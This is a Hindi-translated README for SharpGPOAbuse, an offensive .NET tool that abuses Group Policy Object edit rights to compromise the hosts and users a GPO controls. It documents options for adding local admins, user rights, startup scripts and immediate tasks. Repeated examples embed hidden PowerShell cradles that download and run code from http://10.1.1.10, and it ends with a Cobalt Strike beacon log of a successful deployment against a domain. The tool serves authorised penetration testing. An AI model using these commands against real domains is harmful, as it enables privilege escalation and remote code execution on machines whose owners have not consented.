
SharpGPOAbuse एक .NET एप्लिकेशन है जो C# में लिखा गया है, जिसका उपयोग किसी उपयोगकर्ता के समूह नीति ऑब्जेक्ट (GPO) पर संपादन अधिकारों का लाभ उठाकर उस GPO द्वारा नियंत्रित ऑब्जेक्ट्स से समझौता करने के लिए किया जा सकता है।
SharpGPOAbuse एक .NET अनुप्रयोग है जो C# में लिखा गया है और इसका उपयोग किसी ग्रुप पॉलिसी ऑब्जेक्ट (GPO) पर किसी उपयोगकर्ता के संपादन अधिकारों का लाभ उठाकर उन ऑब्जेक्ट्स से समझौता करने के लिए किया जा सकता है जो उस GPO द्वारा नियंत्रित होते हैं।
अधिक विवरण निम्नलिखित ब्लॉग पोस्ट पर पाए जा सकते हैं: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
सुनिश्चित करें कि आवश्यक NuGet पैकेज सही ढंग से स्थापित हैं और विज़ुअल स्टूडियो में प्रोजेक्ट को बस बनाएँ।
Usage:
SharpGPOAbuse.exe <AttackType> <AttackOptions>
वर्तमान में SharpGPOAbuse निम्नलिखित विकल्पों का समर्थन करता है:
| विकल्प | विवरण |
|---|---|
| --AddUserRights | किसी उपयोगकर्ता में अधिकार जोड़ें |
| --AddLocalAdmin | किसी उपयोगकर्ता को स्थानीय व्यवस्थापक समूह में जोड़ें |
| --AddComputerScript | एक नई कंप्यूटर स्टार्टअप स्क्रिप्ट जोड़ें |
| --AddUserScript | एक उपयोगकर्ता लॉगऑन स्क्रिप्ट कॉन्फ़िगर करें |
| --AddComputerTask | एक कंप्यूटर तत्काल कार्य कॉन्फ़िगर करें |
| --AddUserTask | एक उपयोगकर्ता में तत्काल कार्य जोड़ें |
Options required to add new user rights:
--UserRights
किसी उपयोगकर्ता में जोड़ने के लिए नए अधिकार सेट करें। यह विकल्प केस सेंसिटिव है और अल्पविराम से अलग की गई सूची का उपयोग किया जाना चाहिए।
--UserAccount
नए अधिकार जोड़ने के लिए खाता सेट करें।
--GPOName
कमजोर GPO का नाम।
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
Options required to add a new local admin:
--UserAccount
स्थानीय व्यवस्थापकों में जोड़े जाने वाले खाते का नाम सेट करें।
--GPOName
कमजोर GPO का नाम।
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
Options required to add a new user or computer startup script:
--ScriptName
नई स्टार्टअप स्क्रिप्ट का नाम सेट करें।
--ScriptContents
नई स्टार्टअप स्क्रिप्ट की सामग्री सेट करें।
--GPOName
कमजोर GPO का नाम।
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
यदि आप दुर्भावनापूर्ण स्क्रिप्ट को केवल कमजोर GPO द्वारा नियंत्रित किसी विशिष्ट उपयोगकर्ता या कंप्यूटर पर चलाना चाहते हैं, तो आप दुर्भावनापूर्ण स्क्रिप्ट के अंदर एक if स्टेटमेंट जोड़ सकते हैं:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
Options required to add a new computer or user immediate task:
--TaskName
नए कंप्यूटर कार्य का नाम सेट करें।
--Author
नए कार्य का लेखक सेट करें (DA खाते का उपयोग करें)।
--Command
निष्पादित करने के लिए कमांड।
--Arguments
कमांड को पारित तर्क।
--GPOName
कमजोर GPO का नाम।
Additional User Task Options:
--FilterEnabled
उपयोगकर्ता तत्काल कार्यों के लिए लक्ष्य फ़िल्टरिंग सक्षम करें।
--TargetUsername
लक्ष्य उपयोगकर्ता। दुर्भावनापूर्ण कार्य केवल निर्दिष्ट उपयोगकर्ता पर चलेगा। प्रारूप होना चाहिए <DOMAIN>\<USERNAME>
--TargetUserSID
लक्ष्य उपयोगकर्ता का SID।
Additional Computer Task Options:
--FilterEnabled
कंप्यूटर तत्काल कार्यों के लिए लक्ष्य फ़िल्टरिंग सक्षम करें।
--TargetDnsName
लक्ष्य कंप्यूटर का DNS नाम। दुर्भावनापूर्ण कार्य केवल निर्दिष्ट होस्ट पर चलेगा।
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
यदि आप दुर्भावनापूर्ण कार्य को केवल कमजोर GPO द्वारा नियंत्रित किसी विशिष्ट उपयोगकर्ता या कंप्यूटर पर चलाना चाहते हैं तो आप निम्नलिखित के समान कुछ उपयोग कर सकते हैं:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
| विकल्प | विवरण |
|---|---|
| --DomainController | लक्ष्य डोमेन नियंत्रक सेट करें |
| --Domain | लक्ष्य डोमेन सेट करें |
| --Force | आवश्यक होने पर मौजूदा फ़ाइलों को अधिलेखित करें |
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!